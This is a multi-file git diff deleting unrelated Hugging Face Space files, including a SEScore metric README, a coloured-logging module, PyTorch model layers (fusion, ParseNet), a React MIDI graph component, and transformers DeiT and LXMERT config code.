deleted file mode 100644
index b2e0b3d72009245c80785661ff53a15f37ce235e..0000000000000000000000000000000000000000
--- a/spaces/xu1998hz/sescore_german_mt/README.md
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: SEScore
-datasets:
-- null
-tags:
-- evaluate
-- metric
-description: 'SEScore: a text generation evaluation metric'
-sdk: gradio
-sdk_version: 3.0.2
-app_file: app.py
-pinned: false
-duplicated_from: xu1998hz/sescore
----
-
-# Metric Card for SEScore
-![alt text](https://huggingface.co/spaces/xu1998hz/sescore/blob/main/img/logo_sescore.png)
-
-## Metric Description
-*SEScore is an unsupervised learned evaluation metric trained on synthesized dataset*
-
-## How to Use
-
-*Provide simplest possible example for using the metric*
-
-### Inputs
-*SEScore takes input of predictions (a list of candidate translations) and references (a list of reference translations).*
-
-### Output Values
-
-*Output value is between 0 to -25*
-
-#### Values from Popular Papers
-
-
-### Examples
-*Give code examples of the metric being used. Try to include examples that clear up any potential ambiguity left from the metric description above. If possible, provide a range of examples that show both typical and atypical results, as well as examples where a variety of input parameters are passed.*
-
-## Limitations and Bias
-*Note any known limitations or biases that the metric has, with links and references if possible.*
-
-## Citation
-*Cite the source where this metric was introduced.*
-
-## Further References
-*Add any useful further references.*
diff --git a/spaces/yaoshining/text-generation-webui/modules/logging_colors.py b/spaces/yaoshining/text-generation-webui/modules/logging_colors.py
deleted file mode 100644
index a0c97c3a76cfc17eb5d8d8bb310a5389ab5db719..0000000000000000000000000000000000000000
--- a/spaces/yaoshining/text-generation-webui/modules/logging_colors.py
+++ /dev/null
@@ -1,117 +0,0 @@
-# Copied from https://stackoverflow.com/a/1336640
-
-import logging
-import platform
-
-logging.basicConfig(
-    format='%(asctime)s %(levelname)s:%(message)s',
-    datefmt='%Y-%m-%d %H:%M:%S',
-)
-
-
-def add_coloring_to_emit_windows(fn):
-    # add methods we need to the class
-    def _out_handle(self):
-        import ctypes
-        return ctypes.windll.kernel32.GetStdHandle(self.STD_OUTPUT_HANDLE)
-    out_handle = property(_out_handle)
-
-    def _set_color(self, code):
-        import ctypes
-
-        # Constants from the Windows API
-        self.STD_OUTPUT_HANDLE = -11
-        hdl = ctypes.windll.kernel32.GetStdHandle(self.STD_OUTPUT_HANDLE)
-        ctypes.windll.kernel32.SetConsoleTextAttribute(hdl, code)
-
-    setattr(logging.StreamHandler, '_set_color', _set_color)
-
-    def new(*args):
-        FOREGROUND_BLUE = 0x0001  # text color contains blue.
-        FOREGROUND_GREEN = 0x0002  # text color contains green.
-        FOREGROUND_RED = 0x0004  # text color contains red.
-        FOREGROUND_INTENSITY = 0x0008  # text color is intensified.
-        FOREGROUND_WHITE = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED
-        # winbase.h
-        # STD_INPUT_HANDLE = -10
-        # STD_OUTPUT_HANDLE = -11
-        # STD_ERROR_HANDLE = -12
-
-        # wincon.h
-        # FOREGROUND_BLACK = 0x0000
-        FOREGROUND_BLUE = 0x0001
-        FOREGROUND_GREEN = 0x0002
-        # FOREGROUND_CYAN = 0x0003
-        FOREGROUND_RED = 0x0004
-        FOREGROUND_MAGENTA = 0x0005
-        FOREGROUND_YELLOW = 0x0006
-        # FOREGROUND_GREY = 0x0007
-        FOREGROUND_INTENSITY = 0x0008  # foreground color is intensified.
-
-        # BACKGROUND_BLACK = 0x0000
-        # BACKGROUND_BLUE = 0x0010
-        # BACKGROUND_GREEN = 0x0020
-        # BACKGROUND_CYAN = 0x0030
-        # BACKGROUND_RED = 0x0040
-        # BACKGROUND_MAGENTA = 0x0050
-        BACKGROUND_YELLOW = 0x0060
-        # BACKGROUND_GREY = 0x0070
-        BACKGROUND_INTENSITY = 0x0080  # background color is intensified.
-
-        levelno = args[1].levelno
-        if (levelno >= 50):
-            color = BACKGROUND_YELLOW | FOREGROUND_RED | FOREGROUND_INTENSITY | BACKGROUND_INTENSITY
-        elif (levelno >= 40):
-            color = FOREGROUND_RED | FOREGROUND_INTENSITY
-        elif (levelno >= 30):
-            color = FOREGROUND_YELLOW | FOREGROUND_INTENSITY
-        elif (levelno >= 20):
-            color = FOREGROUND_GREEN
-        elif (levelno >= 10):
-            color = FOREGROUND_MAGENTA
-        else:
-            color = FOREGROUND_WHITE
-        args[0]._set_color(color)
-
-        ret = fn(*args)
-        args[0]._set_color(FOREGROUND_WHITE)
-        # print "after"
-        return ret
-    return new
-
-
-def add_coloring_to_emit_ansi(fn):
-    # add methods we need to the class
-    def new(*args):
-        levelno = args[1].levelno
-        if (levelno >= 50):
-            color = '\x1b[31m'  # red
-        elif (levelno >= 40):
-            color = '\x1b[31m'  # red
-        elif (levelno >= 30):
-            color = '\x1b[33m'  # yellow
-        elif (levelno >= 20):
-            color = '\x1b[32m'  # green
-        elif (levelno >= 10):
-            color = '\x1b[35m'  # pink
-        else:
-            color = '\x1b[0m'  # normal
-        args[1].msg = color + args[1].msg + '\x1b[0m'  # normal
-        # print "after"
-        return fn(*args)
-    return new
-
-
-if platform.system() == 'Windows':
-    # Windows does not support ANSI escapes and we are using API calls to set the console color
-    logging.StreamHandler.emit = add_coloring_to_emit_windows(logging.StreamHandler.emit)
-else:
-    # all non-Windows platforms are supporting ANSI escapes so we use them
-    logging.StreamHandler.emit = add_coloring_to_emit_ansi(logging.StreamHandler.emit)
-    # log = logging.getLogger()
-    # log.addFilter(log_filter())
-    # //hdlr = logging.StreamHandler()
-    # //hdlr.setFormatter(formatter())
-
-logger = logging.getLogger('text-generation-webui')
-logger.setLevel(logging.DEBUG)
diff --git a/spaces/ybelkada/FocusOnDepth/focusondepth/fusion.py b/spaces/ybelkada/FocusOnDepth/focusondepth/fusion.py
deleted file mode 100644
index b4855e7c10f47b79ae0e5f0f77c53f565c86a618..0000000000000000000000000000000000000000
--- a/spaces/ybelkada/FocusOnDepth/focusondepth/fusion.py
+++ /dev/null
@@ -1,41 +0,0 @@
-import numpy as np
-import torch
-import torch.nn as nn
-
-class ResidualConvUnit(nn.Module):
-    def __init__(self, features):
-        super().__init__()
-
-        self.conv1 = nn.Conv2d(
-            features, features, kernel_size=3, stride=1, padding=1, bias=True)
-        self.conv2 = nn.Conv2d(
-            features, features, kernel_size=3, stride=1, padding=1, bias=True)
-        self.relu = nn.ReLU(inplace=True)
-
-    def forward(self, x):
-        """Forward pass.
-        Args:
-            x (tensor): input
-        Returns:
-            tensor: output
-        """
-        out = self.relu(x)
-        out = self.conv1(out)
-        out = self.relu(out)
-        out = self.conv2(out)
-        return out + x
-
-class Fusion(nn.Module):
-    def __init__(self, resample_dim):
-        super(Fusion, self).__init__()
-        self.res_conv1 = ResidualConvUnit(resample_dim)
-        self.res_conv2 = ResidualConvUnit(resample_dim)
-        
-    def forward(self, x, previous_stage=None):
-        if previous_stage == None:
-            previous_stage = torch.zeros_like(x)
-        output_stage1 = self.res_conv1(x)
-        output_stage1 += previous_stage
-        output_stage2 = self.res_conv2(output_stage1)
-        output_stage2 = nn.functional.interpolate(output_stage2, scale_factor=2, mode="bilinear", align_corners=True)
-        return output_stage2
\ No newline at end of file
diff --git a/spaces/ybelkada/blip-vqa-space/README.md b/spaces/ybelkada/blip-vqa-space/README.md
deleted file mode 100644
index b17c43ab819fc3f89e5385a5f0808071bda05a03..0000000000000000000000000000000000000000
--- a/spaces/ybelkada/blip-vqa-space/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Blip Image Captioning Space
-emoji: 🐢
-colorFrom: gray
-colorTo: yellow
-sdk: gradio
-sdk_version: 3.14.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/yderre-aubay/midi-player-demo/src/main/components/ControlPane/LineGraph/LineGraph.tsx b/spaces/yderre-aubay/midi-player-demo/src/main/components/ControlPane/LineGraph/LineGraph.tsx
deleted file mode 100644
index 471625f7e1b3b122c5cd9267522b610123d02060..0000000000000000000000000000000000000000
--- a/spaces/yderre-aubay/midi-player-demo/src/main/components/ControlPane/LineGraph/LineGraph.tsx
+++ /dev/null
@@ -1,170 +0,0 @@
-import { ControllerEvent, PitchBendEvent } from "midifile-ts"
-import { observer } from "mobx-react-lite"
-import React, { MouseEventHandler, useCallback, useMemo } from "react"
-import { IPoint, containsPoint } from "../../../../common/geometry"
-import { filterEventsWithRange } from "../../../../common/helpers/filterEvents"
-import {
-  ValueEventType,
-  createValueEvent,
-} from "../../../../common/helpers/valueEvent"
-import { TrackEventOf } from "../../../../common/track"
-import { ControlCoordTransform } from "../../../../common/transform/ControlCoordTransform"
-import { createOrUpdateControlEventsValue } from "../../../actions/control"
-import { useContextMenu } from "../../../hooks/useContextMenu"
-import { useStores } from "../../../hooks/useStores"
-import { pointToCircleRect } from "../../../stores/TempoEditorStore"
-import { ControlSelectionContextMenu } from "../ControlSelectionContextMenu"
-import { handleCreateSelectionDrag } from "../Graph/MouseHandler/handleCreateSelectionDrag"
-import { handlePencilMouseDown } from "../Graph/MouseHandler/handlePencilMouseDown"
-import { handleSelectionDragEvents } from "../Graph/MouseHandler/handleSelectionDragEvents"
-import { GraphAxis } from "./GraphAxis"
-import { LineGraphCanvas } from "./LineGraphCanvas"
-
-export interface ItemValue {
-  tick: number
-  value: number
-}
-
-export interface LineGraphProps<T extends ControllerEvent | PitchBendEvent> {
-  width: number
-  height: number
-  maxValue: number
-  events: TrackEventOf<T>[]
-  eventType: ValueEventType
-  lineWidth?: number
-  circleRadius?: number
-  axis: number[]
-  axisLabelFormatter?: (value: number) => string
-}
-
-const LineGraph = observer(
-  <T extends ControllerEvent | PitchBendEvent>({
-    maxValue,
-    events,
-    eventType,
-    width,
-    height,
-    lineWidth = 2,
-    circleRadius = 4,
-    axis,
-    axisLabelFormatter = (v) => v.toString(),
-  }: LineGraphProps<T>) => {
-    const rootStore = useStores()
-    const {
-      controlStore: { scrollLeft, transform, cursor, mouseMode },
-    } = rootStore
-
-    const controlTransform = useMemo(
-      () =>
-        new ControlCoordTransform(
-          transform.pixelsPerTick,
-          maxValue,
-          height,
-          lineWidth,
-        ),
-      [transform.pixelsPerTick, maxValue, height, lineWidth],
-    )
-
-    const items = events.map((e) => ({
-      id: e.id,
-      ...controlTransform.toPosition(e.tick, e.value),
-    }))
-
-    const controlPoints = items.map((p) => ({
-      ...pointToCircleRect(p, circleRadius),
-      id: p.id,
-    }))
-
-    const hitTest = useCallback(
-      (point: IPoint) => controlPoints.find((r) => containsPoint(r, point))?.id,
-      [controlPoints],
-    )
-
-    const getLocal = (e: MouseEvent): IPoint => ({
-      x: e.offsetX + scrollLeft,
-      y: e.offsetY,
-    })
-
-    const pencilMouseDown: MouseEventHandler = useCallback(
-      (ev) => {
-        const local = getLocal(ev.nativeEvent)
-
-        handlePencilMouseDown(rootStore)(
-          ev.nativeEvent,
-          local,
-          controlTransform,
-          eventType,
-        )
-      },
-      [rootStore, scrollLeft, controlTransform, eventType],
-    )
-
-    const selectionMouseDown: MouseEventHandler = useCallback(
-      (ev) => {
-        const local = getLocal(ev.nativeEvent)
-        const hitEventId = hitTest(local)
-
-        if (hitEventId !== undefined) {
-          handleSelectionDragEvents(rootStore)(
-            ev.nativeEvent,
-            hitEventId,
-            local,
-            controlTransform,
-            eventType,
-          )
-        } else {
-          handleCreateSelectionDrag(rootStore)(
-            ev.nativeEvent,
-            local,
-            controlTransform,
-            (s) =>
-              filterEventsWithRange(events, s.fromTick, s.toTick).map(
-                (e) => e.id,
-              ),
-          )
-        }
-      },
-      [rootStore, controlTransform, scrollLeft, events, eventType, hitTest],
-    )
-
-    const onMouseDown =
-      mouseMode === "pencil" ? pencilMouseDown : selectionMouseDown
-
-    const onClickAxis = useCallback(
-      (value: number) => {
-        const event = createValueEvent(eventType)(value)
-        createOrUpdateControlEventsValue(rootStore)(event)
-      },
-      [eventType],
-    )
-
-    const { onContextMenu, menuProps } = useContextMenu()
-
-    return (
-      <div
-        style={{
-          display: "flex",
-        }}
-      >
-        <GraphAxis
-          values={axis}
-          valueFormatter={axisLabelFormatter}
-          onClick={onClickAxis}
-        />
-        <LineGraphCanvas
-          style={{ cursor }}
-          onMouseDown={onMouseDown}
-          onContextMenu={onContextMenu}
-          width={width}
-          height={height}
-          maxValue={maxValue}
-          controlPoints={controlPoints}
-          items={items}
-        />
-        <ControlSelectionContextMenu {...menuProps} />
-      </div>
-    )
-  },
-)
-
-export default React.memo(LineGraph)
diff --git a/spaces/ygangang/CodeFormer/CodeFormer/facelib/parsing/parsenet.py b/spaces/ygangang/CodeFormer/CodeFormer/facelib/parsing/parsenet.py
deleted file mode 100644
index e178ebe43a1ef666aaea0bc0faf629485c22a24f..0000000000000000000000000000000000000000
--- a/spaces/ygangang/CodeFormer/CodeFormer/facelib/parsing/parsenet.py
+++ /dev/null
@@ -1,194 +0,0 @@
-"""Modified from https://github.com/chaofengc/PSFRGAN
-"""
-import numpy as np
-import torch.nn as nn
-from torch.nn import functional as F
-
-
-class NormLayer(nn.Module):
-    """Normalization Layers.
-
-    Args:
-        channels: input channels, for batch norm and instance norm.
-        input_size: input shape without batch size, for layer norm.
-    """
-
-    def __init__(self, channels, normalize_shape=None, norm_type='bn'):
-        super(NormLayer, self).__init__()
-        norm_type = norm_type.lower()
-        self.norm_type = norm_type
-        if norm_type == 'bn':
-            self.norm = nn.BatchNorm2d(channels, affine=True)
-        elif norm_type == 'in':
-            self.norm = nn.InstanceNorm2d(channels, affine=False)
-        elif norm_type == 'gn':
-            self.norm = nn.GroupNorm(32, channels, affine=True)
-        elif norm_type == 'pixel':
-            self.norm = lambda x: F.normalize(x, p=2, dim=1)
-        elif norm_type == 'layer':
-            self.norm = nn.LayerNorm(normalize_shape)
-        elif norm_type == 'none':
-            self.norm = lambda x: x * 1.0
-        else:
-            assert 1 == 0, f'Norm type {norm_type} not support.'
-
-    def forward(self, x, ref=None):
-        if self.norm_type == 'spade':
-            return self.norm(x, ref)
-        else:
-            return self.norm(x)
-
-
-class ReluLayer(nn.Module):
-    """Relu Layer.
-
-    Args:
-        relu type: type of relu layer, candidates are
-            - ReLU
-            - LeakyReLU: default relu slope 0.2
-            - PRelu
-            - SELU
-            - none: direct pass
-    """
-
-    def __init__(self, channels, relu_type='relu'):
-        super(ReluLayer, self).__init__()
-        relu_type = relu_type.lower()
-        if relu_type == 'relu':
-            self.func = nn.ReLU(True)
-        elif relu_type == 'leakyrelu':
-            self.func = nn.LeakyReLU(0.2, inplace=True)
-        elif relu_type == 'prelu':
-            self.func = nn.PReLU(channels)
-        elif relu_type == 'selu':
-            self.func = nn.SELU(True)
-        elif relu_type == 'none':
-            self.func = lambda x: x * 1.0
-        else:
-            assert 1 == 0, f'Relu type {relu_type} not support.'
-
-    def forward(self, x):
-        return self.func(x)
-
-
-class ConvLayer(nn.Module):
-
-    def __init__(self,
-                 in_channels,
-                 out_channels,
-                 kernel_size=3,
-                 scale='none',
-                 norm_type='none',
-                 relu_type='none',
-                 use_pad=True,
-                 bias=True):
-        super(ConvLayer, self).__init__()
-        self.use_pad = use_pad
-        self.norm_type = norm_type
-        if norm_type in ['bn']:
-            bias = False
-
-        stride = 2 if scale == 'down' else 1
-
-        self.scale_func = lambda x: x
-        if scale == 'up':
-            self.scale_func = lambda x: nn.functional.interpolate(x, scale_factor=2, mode='nearest')
-
-        self.reflection_pad = nn.ReflectionPad2d(int(np.ceil((kernel_size - 1.) / 2)))
-        self.conv2d = nn.Conv2d(in_channels, out_channels, kernel_size, stride, bias=bias)
-
-        self.relu = ReluLayer(out_channels, relu_type)
-        self.norm = NormLayer(out_channels, norm_type=norm_type)
-
-    def forward(self, x):
-        out = self.scale_func(x)
-        if self.use_pad:
-            out = self.reflection_pad(out)
-        out = self.conv2d(out)
-        out = self.norm(out)
-        out = self.relu(out)
-        return out
-
-
-class ResidualBlock(nn.Module):
-    """
-    Residual block recommended in: http://torch.ch/blog/2016/02/04/resnets.html
-    """
-
-    def __init__(self, c_in, c_out, relu_type='prelu', norm_type='bn', scale='none'):
-        super(ResidualBlock, self).__init__()
-
-        if scale == 'none' and c_in == c_out:
-            self.shortcut_func = lambda x: x
-        else:
-            self.shortcut_func = ConvLayer(c_in, c_out, 3, scale)
-
-        scale_config_dict = {'down': ['none', 'down'], 'up': ['up', 'none'], 'none': ['none', 'none']}
-        scale_conf = scale_config_dict[scale]
-
-        self.conv1 = ConvLayer(c_in, c_out, 3, scale_conf[0], norm_type=norm_type, relu_type=relu_type)
-        self.conv2 = ConvLayer(c_out, c_out, 3, scale_conf[1], norm_type=norm_type, relu_type='none')
-
-    def forward(self, x):
-        identity = self.shortcut_func(x)
-
-        res = self.conv1(x)
-        res = self.conv2(res)
-        return identity + res
-
-
-class ParseNet(nn.Module):
-
-    def __init__(self,
-                 in_size=128,
-                 out_size=128,
-                 min_feat_size=32,
-                 base_ch=64,
-                 parsing_ch=19,
-                 res_depth=10,
-                 relu_type='LeakyReLU',
-                 norm_type='bn',
-                 ch_range=[32, 256]):
-        super().__init__()
-        self.res_depth = res_depth
-        act_args = {'norm_type': norm_type, 'relu_type': relu_type}
-        min_ch, max_ch = ch_range
-
-        ch_clip = lambda x: max(min_ch, min(x, max_ch))  # noqa: E731
-        min_feat_size = min(in_size, min_feat_size)
-
-        down_steps = int(np.log2(in_size // min_feat_size))
-        up_steps = int(np.log2(out_size // min_feat_size))
-
-        # =============== define encoder-body-decoder ====================
-        self.encoder = []
-        self.encoder.append(ConvLayer(3, base_ch, 3, 1))
-        head_ch = base_ch
-        for i in range(down_steps):
-            cin, cout = ch_clip(head_ch), ch_clip(head_ch * 2)
-            self.encoder.append(ResidualBlock(cin, cout, scale='down', **act_args))
-            head_ch = head_ch * 2
-
-        self.body = []
-        for i in range(res_depth):
-            self.body.append(ResidualBlock(ch_clip(head_ch), ch_clip(head_ch), **act_args))
-
-        self.decoder = []
-        for i in range(up_steps):
-            cin, cout = ch_clip(head_ch), ch_clip(head_ch // 2)
-            self.decoder.append(ResidualBlock(cin, cout, scale='up', **act_args))
-            head_ch = head_ch // 2
-
-        self.encoder = nn.Sequential(*self.encoder)
-        self.body = nn.Sequential(*self.body)
-        self.decoder = nn.Sequential(*self.decoder)
-        self.out_img_conv = ConvLayer(ch_clip(head_ch), 3)
-        self.out_mask_conv = ConvLayer(ch_clip(head_ch), parsing_ch)
-
-    def forward(self, x):
-        feat = self.encoder(x)
-        x = feat + self.body(feat)
-        x = self.decoder(x)
-        out_img = self.out_img_conv(x)
-        out_mask = self.out_mask_conv(x)
-        return out_mask, out_img
diff --git a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/deit/__init__.py b/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/deit/__init__.py
deleted file mode 100644
index a0b44186efbc05bef9faed3a47057fcfe3610862..0000000000000000000000000000000000000000
--- a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/deit/__init__.py
+++ /dev/null
@@ -1,113 +0,0 @@
-# Copyright 2021 The HuggingFace Team. All rights reserved.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-from typing import TYPE_CHECKING
-
-from ...utils import (
-    OptionalDependencyNotAvailable,
-    _LazyModule,
-    is_tf_available,
-    is_torch_available,
-    is_vision_available,
-)
-
-
-_import_structure = {"configuration_deit": ["DEIT_PRETRAINED_CONFIG_ARCHIVE_MAP", "DeiTConfig", "DeiTOnnxConfig"]}
-
-try:
-    if not is_vision_available():
-        raise OptionalDependencyNotAvailable()
-except OptionalDependencyNotAvailable:
-    pass
-else:
-    _import_structure["feature_extraction_deit"] = ["DeiTFeatureExtractor"]
-    _import_structure["image_processing_deit"] = ["DeiTImageProcessor"]
-
-try:
-    if not is_torch_available():
-        raise OptionalDependencyNotAvailable()
-except OptionalDependencyNotAvailable:
-    pass
-else:
-    _import_structure["modeling_deit"] = [
-        "DEIT_PRETRAINED_MODEL_ARCHIVE_LIST",
-        "DeiTForImageClassification",
-        "DeiTForImageClassificationWithTeacher",
-        "DeiTForMaskedImageModeling",
-        "DeiTModel",
-        "DeiTPreTrainedModel",
-    ]
-
-try:
-    if not is_tf_available():
-        raise OptionalDependencyNotAvailable()
-except OptionalDependencyNotAvailable:
-    pass
-else:
-    _import_structure["modeling_tf_deit"] = [
-        "TF_DEIT_PRETRAINED_MODEL_ARCHIVE_LIST",
-        "TFDeiTForImageClassification",
-        "TFDeiTForImageClassificationWithTeacher",
-        "TFDeiTForMaskedImageModeling",
-        "TFDeiTModel",
-        "TFDeiTPreTrainedModel",
-    ]
-
-
-if TYPE_CHECKING:
-    from .configuration_deit import DEIT_PRETRAINED_CONFIG_ARCHIVE_MAP, DeiTConfig, DeiTOnnxConfig
-
-    try:
-        if not is_vision_available():
-            raise OptionalDependencyNotAvailable()
-    except OptionalDependencyNotAvailable:
-        pass
-    else:
-        from .feature_extraction_deit import DeiTFeatureExtractor
-        from .image_processing_deit import DeiTImageProcessor
-
-    try:
-        if not is_torch_available():
-            raise OptionalDependencyNotAvailable()
-    except OptionalDependencyNotAvailable:
-        pass
-    else:
-        from .modeling_deit import (
-            DEIT_PRETRAINED_MODEL_ARCHIVE_LIST,
-            DeiTForImageClassification,
-            DeiTForImageClassificationWithTeacher,
-            DeiTForMaskedImageModeling,
-            DeiTModel,
-            DeiTPreTrainedModel,
-        )
-
-    try:
-        if not is_tf_available():
-            raise OptionalDependencyNotAvailable()
-    except OptionalDependencyNotAvailable:
-        pass
-    else:
-        from .modeling_tf_deit import (
-            TF_DEIT_PRETRAINED_MODEL_ARCHIVE_LIST,
-            TFDeiTForImageClassification,
-            TFDeiTForImageClassificationWithTeacher,
-            TFDeiTForMaskedImageModeling,
-            TFDeiTModel,
-            TFDeiTPreTrainedModel,
-        )
-
-
-else:
-    import sys
-
-    sys.modules[__name__] = _LazyModule(__name__, globals()["__file__"], _import_structure, module_spec=__spec__)
diff --git a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/lxmert/configuration_lxmert.py b/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/lxmert/configuration_lxmert.py
deleted file mode 100644
index 6ced7d2acadf4e048ed18482d960ab5be0da0126..0000000000000000000000000000000000000000
--- a/spaces/yizhangliu/Grounded-Segment-Anything/transformers_4_35_0/models/lxmert/configuration_lxmert.py
+++ /dev/null
@@ -1,171 +0,0 @@
-# coding=utf-8
-# Copyright 2018, Hao Tan, Mohit Bansal
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-""" LXMERT model configuration"""
-
-
-from ...configuration_utils import PretrainedConfig
-from ...utils import logging
-
-
-logger = logging.get_logger(__name__)
-
-LXMERT_PRETRAINED_CONFIG_ARCHIVE_MAP = {
-    "unc-nlp/lxmert-base-uncased": "https://huggingface.co/unc-nlp/lxmert-base-uncased/resolve/main/config.json",
-}
-
-
-class LxmertConfig(PretrainedConfig):
-    r"""
-    This is the configuration class to store the configuration of a [`LxmertModel`] or a [`TFLxmertModel`]. It is used
-    to instantiate a LXMERT model according to the specified arguments, defining the model architecture. Instantiating
-    a configuration with the defaults will yield a similar configuration to that of the Lxmert
-    [unc-nlp/lxmert-base-uncased](https://huggingface.co/unc-nlp/lxmert-base-uncased) architecture.
-
-    Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
-    documentation from [`PretrainedConfig`] for more information.
-
-
-    Args:
-        vocab_size (`int`, *optional*, defaults to 30522):
-            Vocabulary size of the LXMERT model. Defines the number of different tokens that can be represented by the
-            `inputs_ids` passed when calling [`LxmertModel`] or [`TFLxmertModel`].
-        hidden_size (`int`, *optional*, defaults to 768):
-            Dimensionality of the encoder layers and the pooler layer.
-        num_attention_heads (`int`, *optional*, defaults to 12):
-            Number of attention heads for each attention layer in the Transformer encoder.
-        num_qa_labels (`int`, *optional*, defaults to 9500):
-            This represents the total number of different question answering (QA) labels there are. If using more than
-            one dataset with QA, the user will need to account for the total number of labels that all of the datasets
-            have in total.
-        num_object_labels (`int`, *optional*, defaults to 1600):
-            This represents the total number of semantically unique objects that lxmert will be able to classify a
-            pooled-object feature as belonging too.
-        num_attr_labels (`int`, *optional*, defaults to 400):
-            This represents the total number of semantically unique attributes that lxmert will be able to classify a
-            pooled-object feature as possessing.
-        intermediate_size (`int`, *optional*, defaults to 3072):
-            Dimensionality of the "intermediate" (often named feed-forward) layer in the Transformer encoder.
-        hidden_act (`str` or `Callable`, *optional*, defaults to `"gelu"`):
-            The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
-            `"relu"`, `"silu"` and `"gelu_new"` are supported.
-        hidden_dropout_prob (`float`, *optional*, defaults to 0.1):
-            The dropout probability for all fully connected layers in the embeddings, encoder, and pooler.
-        attention_probs_dropout_prob (`float`, *optional*, defaults to 0.1):
-            The dropout ratio for the attention probabilities.
-        max_position_embeddings (`int`, *optional*, defaults to 512):
-            The maximum sequence length that this model might ever be used with. Typically set this to something large
-            just in case (e.g., 512 or 1024 or 2048).
-        type_vocab_size (`int`, *optional*, defaults to 2):
-            The vocabulary size of the *token_type_ids* passed into [`BertModel`].
-        initializer_range (`float`, *optional*, defaults to 0.02):
-            The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
-        layer_norm_eps (`float`, *optional*, defaults to 1e-12):
-            The epsilon used by the layer normalization layers.
-        l_layers (`int`, *optional*, defaults to 9):
-            Number of hidden layers in the Transformer language encoder.
-        x_layers (`int`, *optional*, defaults to 5):
-            Number of hidden layers in the Transformer cross modality encoder.
-        r_layers (`int`, *optional*, defaults to 5):
-            Number of hidden layers in the Transformer visual encoder.
-        visual_feat_dim (`int`, *optional*, defaults to 2048):
-            This represents the last dimension of the pooled-object features used as input for the model, representing
-            the size of each object feature itself.
-        visual_pos_dim (`int`, *optional*, defaults to 4):
-            This represents the number of spacial features that are mixed into the visual features. The default is set
-            to 4 because most commonly this will represent the location of a bounding box. i.e., (x, y, width, height)
-        visual_loss_normalizer (`float`, *optional*, defaults to 6.67):
-            This represents the scaling factor in which each visual loss is multiplied by if during pretraining, one
-            decided to train with multiple vision-based loss objectives.
-        task_matched (`bool`, *optional*, defaults to `True`):
-            This task is used for sentence-image matching. If the sentence correctly describes the image the label will
-            be 1. If the sentence does not correctly describe the image, the label will be 0.
-        task_mask_lm (`bool`, *optional*, defaults to `True`):
-            Whether or not to add masked language modeling (as used in pretraining models such as BERT) to the loss
-            objective.
-        task_obj_predict (`bool`, *optional*, defaults to `True`):
-            Whether or not to add object prediction, attribute prediction and feature regression to the loss objective.
-        task_qa (`bool`, *optional*, defaults to `True`):
-            Whether or not to add the question-answering loss to the objective
-        visual_obj_loss (`bool`, *optional*, defaults to `True`):
-            Whether or not to calculate the object-prediction loss objective
-        visual_attr_loss (`bool`, *optional*, defaults to `True`):
-            Whether or not to calculate the attribute-prediction loss objective
-        visual_feat_loss (`bool`, *optional*, defaults to `True`):
-            Whether or not to calculate the feature-regression loss objective
-    """
-
-    model_type = "lxmert"
-    attribute_map = {}
-
-    def __init__(
-        self,
-        vocab_size=30522,
-        hidden_size=768,
-        num_attention_heads=12,
-        num_qa_labels=9500,
-        num_object_labels=1600,
-        num_attr_labels=400,
-        intermediate_size=3072,
-        hidden_act="gelu",
-        hidden_dropout_prob=0.1,
-        attention_probs_dropout_prob=0.1,
-        max_position_embeddings=512,
-        type_vocab_size=2,
-        initializer_range=0.02,
-        layer_norm_eps=1e-12,
-        l_layers=9,
-        x_layers=5,
-        r_layers=5,
-        visual_feat_dim=2048,
-        visual_pos_dim=4,
-        visual_loss_normalizer=6.67,
-        task_matched=True,
-        task_mask_lm=True,
-        task_obj_predict=True,
-        task_qa=True,
-        visual_obj_loss=True,
-        visual_attr_loss=True,
-        visual_feat_loss=True,
-        **kwargs,
-    ):
-        self.vocab_size = vocab_size
-        self.hidden_size = hidden_size
-        self.num_attention_heads = num_attention_heads
-        self.hidden_act = hidden_act
-        self.intermediate_size = intermediate_size
-        self.hidden_dropout_prob = hidden_dropout_prob
-        self.attention_probs_dropout_prob = attention_probs_dropout_prob
-        self.max_position_embeddings = max_position_embeddings
-        self.type_vocab_size = type_vocab_size
-        self.initializer_range = initializer_range
-        self.layer_norm_eps = layer_norm_eps
-        self.num_qa_labels = num_qa_labels
-        self.num_object_labels = num_object_labels
-        self.num_attr_labels = num_attr_labels
-        self.l_layers = l_layers
-        self.x_layers = x_layers
-        self.r_layers = r_layers
-        self.visual_feat_dim = visual_feat_dim
-        self.visual_pos_dim = visual_pos_dim
-        self.visual_loss_normalizer = visual_loss_normalizer
-        self.task_matched = task_matched
-        self.task_mask_lm = task_mask_lm
-        self.task_obj_predict = task_obj_predict
-        self.task_qa = task_qa
-        self.visual_obj_loss = visual_obj_loss
-        self.visual_attr_loss = visual_attr_loss
-        self.visual_feat_loss = visual_feat_loss
-        self.num_hidden_layers = {"vision": r_layers, "cross_encoder": x_layers, "language": l_layers}
-        super().__init__(**kwargs)
diff --git a/spaces/ykilcher/apes/Dockerfile b/spaces/ykilcher/apes/Dockerfile
deleted file mode 100644
